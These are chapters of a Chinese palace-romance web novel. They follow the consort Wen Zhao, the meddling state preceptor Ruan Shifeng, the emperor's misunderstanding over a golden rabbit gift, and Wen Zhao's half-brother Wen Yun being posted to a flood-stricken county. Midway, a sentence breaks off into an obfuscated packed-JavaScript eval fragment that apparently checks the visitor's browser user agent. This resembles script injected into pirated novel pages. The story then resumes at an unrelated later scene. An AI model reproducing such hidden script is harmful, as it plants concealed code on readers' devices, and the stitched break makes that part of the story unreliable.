常青独自坐在御书房内,目光再次落在那巨大的金兔上。烛火与窗外透入的天光交织,映得那兔子更加璀璨,也更显滑稽。 他终究还是没忍住,极轻地叹了口气,低声道:“这都什么事……” 但愿阮时逢能看懂他的意思。若是看不懂……常青觉得,自己或许该考虑给这位国师大人指一门婚事了,免得他整日想些有的没的。 殿外阳光正好,却照不散皇帝心头那点因一只金兔子而起的难以言说的郁闷。 国师府内,阮时逢正翘着腿,有一搭没一搭地抛着一枚铜钱,脑子里还在盘算那金兔子送到栖梧宫后可能引发的各种反应。温招是喜欢?还是气的跳脚?无论哪种,似乎都挺有意思。 门外传来脚步声,贪狼的声音隔着门板响起:“大人,宫中来信,陛下亲笔。” 阮时逢皱眉,接住铜钱,有些意外。那个家伙来信干什么?显然阮时逢还不知道温招已经把那金兔子送给了常青。 阮时逢有些嫌弃的接过了信,温招给他写的信他每次都舍不得看,信纸总是香香的,按他的话说,美人都是带香气儿的。 与常青这封信不同,温招给阮时逢写的每一封信,都被他拿一个精致的小木盒规规矩矩的放在里面,那小木盒放在他床头,没事的时候还会拿出来两张看看。 阮时逢漫不经心地拆开火漆,抽出御笺。 起初,他脸上还带着点惯常的散漫,目光懒洋洋地扫过字句。 「恪守臣伦,勿生他念。」 「君子之交淡如水。」 「同心同德,以国事为重。」 每一个字都像一枚小钉子,轻轻敲进他的认知里。阮时逢脸上的散漫渐渐凝固,取而代之的是一种极致的茫然。他眨了眨眼,甚至把信纸拿远了点,怀疑自己是不是一夜没睡眼花看错了。 这都什么跟什么? 常青这语气……这内容……怎么读起来像是在委婉又坚定地拒绝某种不合时宜的……爱慕? 阮时逢猛地从椅子里站起来,捏着那封信,指尖微微发紧。他不是傻子,这话里话外的划清界限、强调君臣、勿生他念……指向的那个可能性让他头皮一阵发麻,一股难以言喻的荒谬感直冲天灵盖。 “大人……刚接到消息,良妃娘娘将您的兔子转赠给了陛下,说是您给陛下献礼……还附赠了那张字条……”破军小心翼翼的看了阮时逢一眼,连忙低下了头。 “他……”阮时逢张了张嘴,发现喉咙有点干,“他该不会是以为……我送那兔子……是送给他的?!我对他……??” 这个念头太过惊悚,以至于他一时之间竟不知该作何反应。是气得发笑,还是该觉得被深深侮辱了审美和取向? 他脑子里嗡嗡作响,瞬间理清了前因后果……温招!他怎么也不会想到温招竟把那金兔子直接捅到常青那儿去了!还不知说了什么,竟让常青产生了这种离谱到姥姥家的误会! 一股热血猛地冲上脸颊,这次不是羞,是纯粹的被这乌龙气得七窍生烟又无处发泄的憋闷。他阮时逢纵横捭阖这么多年,还是头一回被人,还是被皇帝,用这种方式“婉拒”! “温、招!”他从牙缝里挤出这两个字,捏着信纸的手背上青筋都绷了起来。好,好得很!他一片“好心”,她转手就给他挖了这么大一个坑! 他几乎能想象到温招此刻在栖梧宫里,说不定正端着茶杯,面无表情地欣赏着他这边鸡飞狗跳的场景。 阮时逢在原地转了两圈,一把将那张御笺拍在桌上,气得笑出声来:“好你个温招……你可真是……真是好样的!” 这笔账,他记下了。 他深吸几口气,努力平复想把屋顶掀了的冲动,目光再次落到那封信上,越看越觉得刺眼。常青也是……平时挺精明的一个人,怎么就能被带偏到这种地步? 他揉了揉突突直跳的太阳穴,只觉得这辈子都没这么无语过。 “贪狼!”他猛地朝门外吼了一嗓子。 贪狼应声而入,依旧面无表情,但敏锐地察觉到屋内气氛极度不妙。 阮时逢指着桌上那封信,语气恶狠狠的:“把这玩意儿给本座收起来!锁进最底下的抽屉里!别再让本座看见它!” 眼不见为净! 贪狼什么也没问,依言拿起信,利落地转身出去执行命令。 阮时逢独自站在殿中,胸口还在微微起伏。他抬手按了按眉心,试图把常青那封信带来的惊悚感和温招那张冷脸从脑子里甩出去。 这都叫什么事儿! 32.032 夜色深重,栖梧宫偏殿的窗棂发出极轻的一声响。 温招并未入睡,几乎在那声响传来的瞬间便睁开了眼,手已按在枕下短刃上。但她很快松懈下来。 能这样鬼鬼祟祟摸进来的,放眼整个皇宫,除了那位行事从不按常理的国师,大概也没别人了。 她没动,只静静看着那道黑影略显笨拙地翻进来,落地时似乎还绊了一下,发出一声压抑的低咒。 阮时逢摸索着点亮桌上一盏小灯,晕黄的光照亮他半边脸,眉头拧着,嘴角下撇,浑身上下写满了“我不高兴”和“快来哄我”。 温招坐起身,靠在床头,声音里听不出什么情绪:“国师大人夜闯妃嫔寝宫,是何道理?” 阮时逢被这冷静的声音一激,像是终于找到了发泄口,几个大步跨到床前,却又在离她几步远的地方刹住脚,像是赌气般侧过身不看她,从鼻子里哼出一声:“你干的好事!” “我做了什么?”温招淡淡问。 “你还装傻!”阮时逢猛地转回身,眼睛瞪着她,像是受了天大的委屈,“那只兔子!我送你的兔子!你居然转头就送去给常青?还胡说八道是我献给他的礼?” 温招抬眼看他:“国师大人难道不是这个意思?那般金光璀璨、寓意祥瑞的厚礼,除了陛下,谁配拥有?”她语气平直,偏偏每个字都像小针,扎得阮时逢跳脚。 “我那是送你的!”阮时逢气得声音都拔高了,又猛地意识到这是深夜皇宫,硬生生压下来,憋得脸颊微红,“我送你金子!送你兔子!你居然……你知不知道常青给我回了封什么信?” 他越说越气,简直要语无伦次:“他让我恪守臣伦!勿生他念!他以为我对他……我阮时逢就是瞎了眼也看不上他那种……” 后面的话太难听,他好歹忍住了,只一双眼睛灼灼瞪着温招,仿佛这一切都是她的错。 温招看着他这副样子,竟觉得有些好笑。她稍稍偏过头,掩去唇角一丝极淡的弧度:“哦?陛下竟如此误会了?那真是……可惜了国师大人一片忠心。” 阮时逢被她这轻描淡写的态度噎得说不出话,指着她“你”了半天,最后颓然放下手,扯过桌边的绣墩一屁股坐下,背影都透着憋闷。 “温招,”他声音低下去,带着点说不出的别扭,“你就那么讨厌我送的东西?” 殿内静了片刻,只听得灯花轻微爆开的声响。 温招看着他那仿佛被雨水打湿了的背影,忽然有些笑不出来了。她沉默一会儿,才开口:“不是讨厌。” 阮时逢耳朵动了动,没回头,但肩膀似乎没那么绷着了。 “那是什么?”他声音闷闷的。 “是太显眼了。”温招实话实说,“阮时逢,你我都知道,有些东西不能摆到明面上。你送那样一只金兔子来,是生怕别人不知道我们私下有牵连?况且你我只是盟友。” 阮时逢不吭声了。他思考着前半句,后半句是一点也没听进去。他当时只想着要送个大的、亮的,要让她印象深刻,确实没想那么多, 半晌,他才嘟囔一句:“我库房里金子多的是……就想送你点实在的。” 温招没应这话。两人之间又陷入沉默,一种微妙的、不同于之前紧绷的沉默。 夜风从窗缝溜进来,吹得烛火摇曳。阮时逢像是终于缓过劲来,重新站起身,走到床边。这次他没再兴师问罪,只是低头看着她,眼神复杂。 “喂,”他声音低低的,“下次我送点不起眼的好不好……?” 温招抬眼。 “送点你能悄悄收起来的。”阮时逢别开视线,语气硬邦邦的,耳根却有点红,“不会让你为难的。” 温招看着他这副别别扭扭承诺的样子,心里某个地方微微动了一下。她垂下眼,极轻地“嗯”了一声。 阮时逢像是得了什么保证,整个人都明朗起来,刚才那点委屈憋闷一扫而空。他咧嘴想笑,又努力绷住,最后只摸了摸鼻子。 “那我走喽?”他说着,脚步轻快地走向窗口,利落地翻出去,消失在夜色里。 如同他来时一样突兀。 温招看着仍在微微晃动的窗扇,许久才躺回去。殿内仿佛还残留着一点那人带来生机勃勃的气息。 她闭上眼,轻轻叹了口气。 真是……冤家。 翌日清晨,窗外的鸟鸣还未歇,魑惊便捧着一封信轻手轻脚地进来。 “娘娘,府里来的信,老爷亲笔。” 温招正对镜梳妆,闻言动作未停,只从镜中瞥了那信封一眼。普通的青皮纸,封口处是温均理一贯严谨的火漆印。她接过,指尖触及纸张微凉的质感,心下已了然绝非寻常问候。 撕开封口,抽出信笺。开篇是例行的客套,询问她在宫中是否安好,叮嘱她谨言慎行,莫负圣恩。字迹工整,措辞得体,是温均理一贯的风格。然而字里行间透出的急切,却像水渍浸过纸背,无声地蔓延开来。 信纸翻过一页,真正的意图便显露出来。话锋委婉却目标明确地转到了温韫身上。言及温韫如今任职清闲,空有抱负却难展拳脚,言语间不乏对长子才学的骄傲与对其仕途停滞的惋惜。最后几句,笔锋更是沉了沉,提及“家族荣辱,系于尔等姐弟相互扶持”,“宫中若能得便,勿忘为父平日教诲”。 温招的目光在“相互扶持”四字上停留片刻,唇角牵起一个极淡、极冷的弧度。教诲?无非是时刻提醒她,她是温家的女儿,一荣俱荣,一损俱损。 她想起温韫。那个总是穿着素净长衫,见人未语先带三分笑的弟弟。举止温和,言语知礼,任谁看了都要赞一声温润公子。 她与他之间,隔着嫡庶,隔着年岁,更隔着母亲早逝后那道无形却冰冷的墙。谈不上多少姐弟情深,但也并无明显龃龉,至少表面如此。 只是温均理这“扶持”二字,重若千钧。她在这宫墙之内,看似风光,实则如履薄冰,每一步都踩在刀尖上。温均理不会不知,但他仍开了这个口。 魑惊在一旁安静等候,见她久久不语,神色平静却眸光微沉,忍不住轻声问:“娘娘,府里……可是有什么事?” 温招将信纸慢条斯理地折好,重新塞回信封,动作不见丝毫火气。 “无事。”她声音平淡,听不出情绪,“父亲挂念弟弟的前程,让本宫有机会,便在陛下面前提一提。” 魑惊眨了眨眼,似懂非懂:“那……娘娘要帮少爷吗?” 温招将信封搁在妆台上,发出一声轻微的响。她拿起一支玉簪,对着镜子,缓缓插入发髻。 “帮?”她看着镜中自己那张没什么表情的脸,淡淡道,“怎么帮?陛下最忌后宫干政,前朝人事,岂容本宫置喙。” 她语气轻缓,却字字清晰,像在陈述一个再简单不过的事实。言外之意便是当成没看见。 温家把她送进来,要的是荣光,是倚仗,却从未真正想过,她在这四方天地里,也不过是一枚需要步步为营的棋子。 她最终什么也没承诺,只将那封家书收入匣中底层,如同拂去衣袖上一粒无关紧要的尘埃。 日光透过窗格,缓缓移上妆台,照亮空气中浮动的细微尘埃,安静得仿佛什么都未曾发生。 午后,日光斜照进窗棂,殿内一片静谧。温招正倚在窗边看书,指尖刚翻过一页,殿外便传来宦官特有的尖细嗓音。 “陛下口谕,宣良妃娘娘即刻前往御书房觐见。” 温招执书的手微微一顿。常青很少在午后突然传召,尤其这般“即刻”,更显突兀。她放下书卷,心头掠过一丝极淡的警觉,面上却不起波澜。 “臣妾遵旨。” 她起身,由宫人伺候着整理好仪容,步出栖梧宫。轿辇行在宫道上,车轮碾过青石板,发出单调的声响。她端坐着,目光掠过朱红宫墙上一方湛蓝的天,心中已将近日种种可能引得常青关注的事由快速过了一遍。 抵达御书房外,太监通传后,厚重的殿门缓缓开启。温招敛目垂首,步履沉稳地走入。 常青并未坐在御案后批阅奏折,而是负手站在窗前,望着庭中一株开得正盛的白玉兰。听见脚步声,他缓缓转过身。 “臣妾参见陛下。”温招依礼下拜。 “爱妃平身。”常青的声音听不出喜怒,目光落在她身上,带着一种审度的意味。他并未让她坐下,而是踱回案后,指尖掠过桌上一份摊开的卷宗。 “今日召爱妃来,是想问一个人。”常青开口,语气平淡如同闲话家常,“温韫……是你的弟弟?” 温招的心轻轻一沉。父亲早间的信函还锁在匣中,此刻皇帝便亲口问起温韫。这绝非巧合。 “回陛下,正是臣妾庶弟。”她垂眸应答,声音平稳。 “嗯。”常青应了一声,指尖在卷宗上点了点,“朕看了看他的履历,年纪虽轻,倒还算勤勉谨慎,如今在翰林院领个闲职,似乎有些屈才了。” 温招屏息听着,不敢轻易接话。常青从不做无谓的闲谈,每一句都可能藏着深意或试探。 常青抬眼看向她,目光深邃:“爱妃以为,朕若给他换个位置,派他去南边历练一番,如何?” 南边?温招的睫毛几不可察地颤动了一下。南边刚经历过水患,局势复杂,绝非优差。但若办得好,确是快速晋升的跳板。皇帝此举,是试探温家,还是试探她? 她微微福身:“陛下圣心独运,知人善任。温韫年轻识浅,能为陛下分忧,是他的福气。无论陛下如何安排,想来他必当竭尽全力,不敢有负圣恩。” 回答得滴水不漏,既未替温韫求取任何具体职位,也全然一副听凭圣意的恭顺模样。 常青看着她,忽然笑了笑,那笑意却未达眼底。他话锋一转,像是忽然想起了什么:“说起来,朕记得……爱妃的母亲,故乡似乎也在南边?” 温招的心猛地一紧。她母亲早逝,出身江南小吏之家,并非显赫,这件事知道的人并不多。常青此刻提起,绝非偶然。 “是。”她轻声应道,指尖在袖中微微蜷缩,“母亲故乡确在江南水乡,只是离家日久,旧事多已模糊了。” “江南是好地方。”常青语气似有感慨,目光却仍停留在她脸上,像是在观察最细微的反应,“人杰地灵。只可惜,有时过往的烟云太重,反倒容易迷了眼前的路径。” 他顿了顿,声音放缓,却带着无形的压力:“爱妃说,是不是这个道理?” 温招敏锐的嗅到了一丝危险试探的气息。常青话中有话,似乎在用母亲的往事敲打她,提醒她认清自己的位置,不要被家族或过往所牵绊,更不要妄图左右朝局。 常青如今宠她,可能对她是有感情的,可常青这个人永远看中的是自己的利益,这也是身为帝王所必须要做的。 她深深吸了一口气,抬起头,迎上皇帝的目光,眼神清澈而恭顺:“陛下教诲的是。臣妾愚钝,只知谨守本分,侍奉君前。过往烟云,早已随风而散,不敢或忘。” 日光透过窗格,将御书房内照得亮堂,却驱不散那无声弥漫的紧绷。常青凝视她片刻,终于缓缓颔首。 “你能如此想,甚好。”他语气缓和下来,仿佛方才的机锋从未存在,“退下吧。” “臣妾告退。”温招行礼,一步步退出御书房。 直到走出殿外,被午后的阳光笼罩,她才感觉那无形的压力稍稍散去。回头望了一眼那紧闭的殿门,她知道,关于温韫的安排,关于温家的未来,皇帝心中自有考量。 而她方才的回答,或许未能换来什么,但至少,没有行差踏错。 风起,吹动她宫装的裙摆。她敛起心神,向着栖梧宫的方向走去,背影在长长的宫道上显得沉静而孤单。 三日后,旨意抵达温府。 彼时温韫正在书房临帖,窗外春色正好,他却有些心神不宁。自那日父亲与他说了欲请姐姐在宫中周旋之事后,他便隐隐不安。他深知姐姐在宫中的不易,亦不愿她为自己开口,徒增烦忧。 宦官尖细的嗓音打破庭院的宁静时,他手中的笔微微一颤,一滴墨迹污了即将写就的字帖。 他整衣出迎,跪听旨意。当听到“翰林院修撰温韫,勤勉堪用,着即日赴任南漳县丞,协理灾后事宜,钦此”时,他猛地抬起头,脸上血色褪尽。 南漳?那是此次水患最严重、局势最混乱的县府之一。县丞之位,品级未升,实则明平暗降,且那是个极易得罪人、更难出政绩的泥潭。 宦官将圣旨放入他手中,触手冰凉。他听见自己干涩的声音谢恩,周遭家人的反应变得模糊不清。 父亲温均理送走传旨太监,转身看他,眉头紧锁,神色复杂,最终只化作一声叹息:“既是陛下旨意,便……好生为之吧。”语气中难掩失望。家族期待的晋升并未到来,反而是一脚被踢到了漩涡边缘。 温韫独自回到书房,看着那卷被墨迹污损的字帖,久久无言。他并非畏惧艰难,只是这旨意来得突然,去向更是微妙,令他不由想起三日前父亲那封送往宫中的信。 是姐姐……吗?是她向陛下开的口?可这结果……他心绪纷乱,一时竟不知是该感到牵连了她的愧疚,还是被她推开的涩然。 他更不愿离开京城。 并非贪恋繁华,只是离得远了,宫中那道清冷的身影便更遥不可及。虽知姐弟名分如山,此生难越,可能偶尔知晓她在同一座城的某个角落,于他而言,已是晦暗人生中一丝微不足道却真实的慰藉。 如今连这点奢望也要被剥夺。 他走到窗边,望向皇宫的方向,层叠的殿宇飞檐隔断了视线。他想起小时候,姐姐尚未入宫,虽不亲近,但偶尔在府中廊下遇见,她总会微微颔首,目光掠过他时,带着一种他当时不懂,如今回想起来才明白的疏离与寂寥。 他曾暗暗发誓,若能立稳脚跟,或可成为她的一点依靠,哪怕微不足道。如今这一切还未开始,似乎就要被彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他今日也穿得素净,一身雨过天青色的长衫,更衬得人清瘦温润。见到温招,他眼中迅速掠过一丝不易察觉的亮光,随即垂下眼帘,恭谨地长揖一礼。 “臣,温韫,参见良妃娘娘。” 声音温和,带着恰到好处的距离感。 “出门在外,不必多礼。”温招的声音透过薄纱传出,略显清淡。她在桌边坐下,魑惊无声地退至门外守候。 雅间内一时只剩下他们二人。窗外江水潺潺,偶有鸟鸣掠过,更显得室内安静得有些过分。 温韫在她对面坐下,执壶为她斟茶。动作不疾不徐,仪态无可挑剔,只是微微紧绷的指节泄露了内心的不平静。 “贸然请见,惊扰娘娘了。”他开口,声音依旧温和,“只是臣不日便将离京,赴任南漳,临行之前,有些……家事,心中挂碍,思来想去,唯有向娘娘请教。” 他措辞谨慎,将私见定性为“请教家事”。 温招端起茶盏,指尖感受着瓷壁的温热:“南漳路远,水患初定,百废待兴,此去艰辛,你要有准备。” “臣明白。”温韫颔首,“为国分忧,是臣之本分,不敢言苦。”他顿了顿,目光落在杯中微漾的茶汤上,声音低了几分,“只是……离京前,听闻父亲曾修书入宫,提及臣之仕途……臣心中惶恐,深恐父亲爱子心切,言语间或有失当,给娘娘平添烦扰。” 他终于抬眼看向温招,目光清澈,带着真诚的歉疚:“若因臣之故,令娘娘为难,臣……万死难辞其咎。” 温招看着他。她原以为他约见,或是为前程求助,或是为远行诉苦,却没想到开口第一桩,竟是致歉。 她隔着薄纱,能看清他眼中那份毫不作伪的忧色。这份体贴与谨慎,却并未激起半分涟漪。 “父亲信中所言,是为父之常情。本宫身处宫中,自有分寸。”她语气平静,“陛下调你前往南漳,是历练,亦是圣恩。你只需恪尽职守,不必多想其他。” 温韫似乎松了口气,紧绷的肩膀微微放松:“有娘娘此言,臣便安心了。”他沉默片刻,又从袖中取出一个小巧的锦囊,双手奉上,“南漳地处偏远,臣此去经年,恐难再……此物,是臣偶然所得,聊表心意,愿娘娘在宫中诸事顺遂,身体康健。” 那锦囊用料普通,绣工却精细,一看便知是用了心的。 温招没有立刻去接:“宫中一应用度俱全,你不必……” “并非贵重之物,”温韫急忙解释,耳根微微泛红,“只是一些臣平日托人配的安神香料,味道清浅,娘娘夜间或可助眠。还有……一枚平安符,是臣日前去京郊慈云寺所求。” 他话语恳切,带着弟弟对姐姐最寻常的关怀,小心翼翼,不敢逾越半分。 温招看着他捧着锦囊的手,指节分明,微微用力。她终是伸手接过。锦囊很轻,却似乎带着温度。 “有心了。”她轻声道。 温韫脸上露出一个浅淡而真实的笑意,如同春风拂过水面,转瞬即逝。他重新垂眸,掩去眼底翻涌的情绪。 能这样见她一面,能说上几句话,能送出一份微不足道的牵挂,已是奢求。 之后的时间,两人大多沉默。偶尔交谈几句,也不过是关乎京城天气、母亲旧事一些不痛不痒的话题。温韫始终恪守着臣子的本分,言语恭敬,举止得体。 只是他的目光,总会不经意地掠过她被薄纱遮掩的容颜,每一次都迅速收回,如同触碰了滚烫的烙铁。 时间悄然流逝。窗外的日头渐渐西斜。 温招放下茶盏,起身:“时辰不早,本宫该回去了。” 温韫立刻站起身,垂首:“恭送娘娘。” 他送她至雅间门口,脚步停住。门外候着的魑惊上前,替温招重新戴好帷帽。 温招最后回头看了他一眼。他站在门内阴影处,身形显得有些单薄,脸上依旧挂着那温润得体的微笑,只是眼底深处,有什么东西沉沉地落了下去。 “南漳湿热,多保重。”她终究多说了一句。 温韫深深一揖:“谢娘娘关怀,臣……谨记。” 温招转身,在魑惊的陪伴下离去。脚步声渐行渐远,最终消失在楼梯尽头。 雅间内,温韫依旧维持着躬身相送的姿势,良久未动。窗外江水东流,浩浩荡荡,从不因谁的离别而停留。 他慢慢直起身,走到窗边,看着那辆青呢马车汇入街巷人流,再也辨认不出。 桌面上,她用过的茶盏还在,杯沿留着极淡的唇印。他最终没有去碰触。 只是将那杯渐凉的茶水,缓缓倾倒入窗外的江中。 如同将某些无法言说的念想,彻底埋葬于这滔滔逝水之中。 此后山高水长,大抵再无相见之期。 他闭上眼,任江风吹拂面颊,带来远方的水汽和离别的味道。 终是一别。 33.033 如若说温招对温应寒那大抵是恨的,对柳翠更多是不屑的,可对温韫,她不知道该怎样面对这个同父异母的弟弟。 温招步出望江楼,午后的阳光有些晃眼。她正欲走向候在街角的马车,一道熟悉的身影却懒洋洋地倚在不远处的柳树下,抱着胳膊,似笑非笑地看着她。 不是阮时逢又是谁。 他今日换了身寻常公子哥儿的锦袍,颜色却依旧扎眼,青山织金的料子在日光下流彩熠熠,与这清雅的江畔景致到时如出一辙。见他目光直直落在自己身上,分明是等了一会儿了,温招脚步几不可察地一顿。 魑惊也瞧见了,下意识地往温招身边靠了靠,神色紧张起来。 阮时逢却已迈步走了过来,步伐悠闲,目光在温招那身寻常打扮和帷帽上扫过,唇角一勾,语气拖得长长,带着点儿说不清道不明的味儿:“哟,这可不是良妃娘娘吗?真是好巧啊。” 巧?温招心下冷笑,这钰城里能巧到让他国师大人亲自守在酒楼外的概率,怕是比御花园的莲花冬日里开花还低。 她没接话,只微微颔首,算是打过招呼,脚下不停,继续朝马车走去。 阮时逢却不依不饶,三两步便与她并行,侧着头看她,薄纱也挡不住他探究的目光:“方才楼上风景可好?臣瞧着娘娘与人相谈甚欢,都没好意思上去打扰。” 这话里的酸意几乎要溢出来,偏又被他用一副混不吝的腔调裹着,听着更像调侃。 温招脚步未停,声音透过薄纱,清淡无波:“国师大人说笑了,不过是见个家中晚辈,嘱咐几句远行事宜。” “晚辈?”阮时逢挑眉,拖长了调子,“臣怎么瞧着,那位晚辈这次外出可谓是困境重重啊。” 他这话说得轻佻,却精准地刺中了温招心底那丝难以言喻的别扭。她倏地停步,转头看向他。薄纱晃动,隐约可见她绷紧的下颌线。 “阮时逢,”她声音冷了下来,“你跟踪我?” 见她恼了,阮时逢反而收敛了些许戏谑,但眼神依旧亮得迫人:“哪能啊?臣就是恰好路过,又恰好眼神好,瞧见了娘娘的车驾,再恰好……等了一会儿。”他摊摊手,一脸无辜,“臣这不是担心娘娘安危吗?这宫外龙蛇混杂的,万一冲撞了娘娘可怎么好。” 强词夺理。温招懒得与他争辩,转身又要走。 “诶,”阮时逢却伸手虚虚一拦,凑近了些,声音压低,只有两人能听见,“我说,你那弟弟可没表面那么简单,你离他远点儿。” 这话说得直白又冒犯,带着一种不容置疑的霸道。 温招心头火起,更因被他点破那层若有若无的窗户纸而泛起一丝难堪。她猛地拂开他的手,声音冰寒:“国师大人慎言!本宫家事,不劳外人置喙!” “外人?”阮时逢像是被这两个字烫了一下,脸上的嬉笑彻底淡去,眼神沉了下来,“那谁是家里人?常青吗?” 气氛骤然紧绷,连一旁的魑惊都吓得屏住了呼吸。 温招却不欲与他当街纠缠,冷声道:“国师若无他事,本宫便告辞了。” 她快步走向马车,裙裾拂过地面,带起细微尘埃。 阮时逢站在原地,看着她近乎逃离的背影,脸色变幻了几下,最终像是气笑了,低声骂了句:“没良心的兔子……” 眼见温招就要上车,他忽然又扬声道:“喂!西市金身轩有消息,要不要一起去瞧瞧?” 这话题转得生硬又突兀,带着点笨拙的试图缓和关系的意味。 温招上车的动作顿了顿,没有回头,上次答应了柳含烟在稚趣斋买拨浪鼓还没买,况且好久都没去看老张头了,顺便再买些土火纸…… 她沉默一瞬,声音依旧没什么温度:“本宫确要去西市采买些物件。” 这便是默许了同路。 阮时逢脸上那点悻悻然立刻一扫而空,眉眼舒展开,快走几步凑到车窗外,隔着帘子道:“正好顺路,臣给娘娘当个护卫,免得有些没眼力的冲撞了您。” 车内,温招懒得理会他这套说辞,只对车夫吩咐道:“去西市。” 马车辘辘而行,驶向熙攘的西市。阮时逢果真策马跟在车旁,他那匹通体乌黑的骏马神骏非凡,衬得马上之人更是夺目。 他本就生得极好,平日深居简出已是传闻不断,此刻这般鲜衣怒马地出现在闹市,几乎瞬间就攫取了所有路人的目光。 青色衣袍在日光下流转变幻,金线暗纹浮动,勾勒出挺拔的身形。他并未刻意张扬,只随意地握着缰绳,目光时而掠过车窗,时而扫过街景,那份浑然天成的恣意与风流,却比任何刻意的展示都更引人注目。 西市多是富贵闲人聚集之地,不乏高门贵女与官家妇人。很快,窃窃私语声便如潮水般漫延开来。 “那是谁家郎君?生得这般模样……” “从未见过,瞧那通身的气派,绝非寻常子弟。” “他怎的跟着那辆马车?车里是哪家女眷?” “那马是西域宝马吧?价值连城呢……” “快看他的眼睛……哎呀,他看过来了!” 议论声不高,却足够清晰。好奇的、惊艳的、探究的目光黏在阮时逢身上,他却恍若未闻,只偶尔因那些过于直白的注视而微微蹙眉,显出一丝不易察觉的不耐。 车内,温招虽隔着帘幔,也能感受到外界的骚动。她不用看也能想象出阮时逢招摇过市的情景,心下更是烦厌。这人真是走到哪里都不得清静。 魑惊悄悄掀开车帘一角,往外瞥了瞥,又赶紧放下,小声对温招道:“娘娘,国师大人他……好多人在看呢。” 温招闭目养神,只淡淡“嗯”了一声。 车外的阮时逢似乎被那些目光扰得有些烦了,轻轻一踢马腹,让马头更贴近车窗些,隔着帘子对里面道:“喂,我说,你们女人家出门都这么……喜欢乱看吗?”他本想抱怨那些视线,话到嘴边又拐了个弯,成了惯常的调侃。 温招懒得理他。 阮时逢等不到回应,也不恼,自顾自又道:“早知道就该让你坐我的车出来,保证没这么多人敢盯着看咱们。” 他这话倒不假,国师的车驾仪仗,寻常人确实不敢直视。 温招终于忍不住,冷声刺他:“国师大人若是嫌引人注目,大可自行离去。” “那怎么行?”阮时逢答得飞快,声音里带着笑,“说了要给你当护卫的。万一哪个不开眼的冲撞了娘娘,臣可是会心疼的。” 最后那句话他说得极轻,几乎散在风里,却还是清晰地钻入了车内。 温招指尖微微一蜷,只当没听见。 马车穿过喧闹的街市,最终在金身轩附近停下。温招戴好帷帽,在魑惊的搀扶下下车。阮时逢早已利落地翻身下马,将缰绳随手抛给迎上来的伙计,自然而然地走到了温招身侧。 他这一靠近,周围那些原本就未曾消散的目光更是聚焦了几分。一个衣着华美、容色惊人的男子,亦步亦趋地跟在一名戴着帷帽、看不清面容的女子身边,这情形怎么看都透着不寻常。 温招能感觉到无数视线落在自己和阮时逢身上,如芒在背。她加快脚步,只想尽快进入金身轩。 阮时逢却仿佛毫无所觉,甚至微微侧头,对她低笑道:“走那么快做什么?又没人追你。”他的气息拂过薄纱,带来一丝若有若无的松木冷香。 温招脚步不停,只从牙缝里挤出两个字:“闭嘴。” 阮时逢低低笑出声,果然不再言语,只是那双含笑的眼,依旧毫不避讳地落在她身上。 两人一前一后步入稚趣斋,将那街市上的纷纷议论与探究目光,暂时隔绝在了门外。只是关于这位神秘俊美郎君和那位帷帽女子的猜测,想必很快便会成为西市闲人口中的一桩新谈资。 稚趣斋内扑面而来是淡淡的木香和彩漆味儿。各式各样的孩童玩意儿堆得满架满柜,色彩鲜亮,形状可爱。温招目光扫过,很快便落在了一排做工精致的拨浪鼓上。 她仔细挑了一只。鼓身是光滑的酸枝木,两面蒙着上好的小羊皮,绘着憨态可掬的抱鲤童子,手柄打磨得圆润,缀着两颗浑圆的红漆小珠,轻轻一转,便发出清脆又不太吵闹的“咚咚”声。 “就这个吧。”她对掌柜道。 魑惊正要上前付钱,一只骨节分明的手却更快地抛过去一锭银子,稳稳落在柜上。阮时逢不知何时凑近了,正低头看着温招手里的拨浪鼓,眼神有些飘忽,不像平时那般亮得逼人。 “倒是会挑。”他声音不高,像是随口一说,“这做工,比当年我娘留给我的那个还好点儿。” 温招包好拨浪鼓的动作微微一顿,没接话。她没听说阮时逢的娘亲给他留过什么东西。关于他生母的传闻很多,大多模糊不清,只知道去得早。 阮时逢似乎也没指望她回应,目光还落在那拨浪鼓上,像是透过它看到了别的什么。店内喧闹,他的声音却清晰地落在她耳畔,带着一种罕见的、几乎不属于他的平淡。 “也是这么一个玩意儿,旧的,漆都快掉光了。”他扯了扯嘴角,像笑,又不太像,“她就留下那么一件东西。后来也不知道丢哪儿去了,大概是哪次搬家,被当成破烂扔了吧。” 他说得轻描淡写,仿佛在说一件与己无关的旧事。可那语气里细微的涩意,却像一根极细的针,轻轻刺了一下。 温招握着拨浪鼓的手紧了紧。她从未听过阮时逢用这种语气提起过去。他总是张扬的,肆意的,好像从来没有什么能真正让他在意,让他失落。 她下意识地转头看他。他却已移开了视线,侧脸对着她,下颌线显得有些紧绷,方才那瞬间的恍惚和落寞如同错觉,很快被惯常那副懒洋洋的神气覆盖。 “走吧。”他率先转身,朝店外走去,青衣摆划出一道利落的弧线,“不是还要去买土火纸?” 温招看着他的背影,那句“扔了”却还在耳边打着转。她低头,将包好的拨浪鼓递给魑惊,指尖无意识地摩挲了一下细腻的纸包。 有些东西,丢了就是丢了,再也找不回来。这个道理,她懂,他显然也懂。 只是懂归懂,那骤然窥见的一丝裂痕,还是让空气变得有些不同。 她敛起心神,跟着走出稚趣斋。门外阳光正好,阮时逢已重新骑上他那匹黑马,正低头整理缰绳,见她出来,抬眸瞥了一眼,眼神清亮,仿佛刚才店内那短暂的失神从未发生过。 “接下来去哪儿?”他问,语气恢复如常。 “老张记。”温招答道,声音依旧平淡。 “成,那铺子还挺出名。”阮时逢一抖缰绳,让马儿慢悠悠地跟在她的马车旁。 老张记纸铺隐在西市一条僻静的巷尾,门面不大,招牌旧得褪了色,却透着一股经年累月的踏实感。铺子里弥漫着纸张和浆糊特有的清朴气味。 温招让马车在巷口等候,只带着魑惊和阮时逢步行过去。临近铺门,她停下脚步,侧头对阮时逢低声道:“张老丈是本宫敬重的长辈,你待会儿收敛些,莫要失了礼数。” 她语气严肃,阮时逢难得没有插科打诨,只整了整衣袖,正色道:“放心,规矩我懂。” 踏入铺内,光线稍暗,只见一个精神矍铄的老者正俯身整理一摞宣纸,听到脚步声也未立刻抬头,只慢悠悠道:“客人随意看,要什么纸……” “张老丈。”温招出声,声音比平日柔和许多。 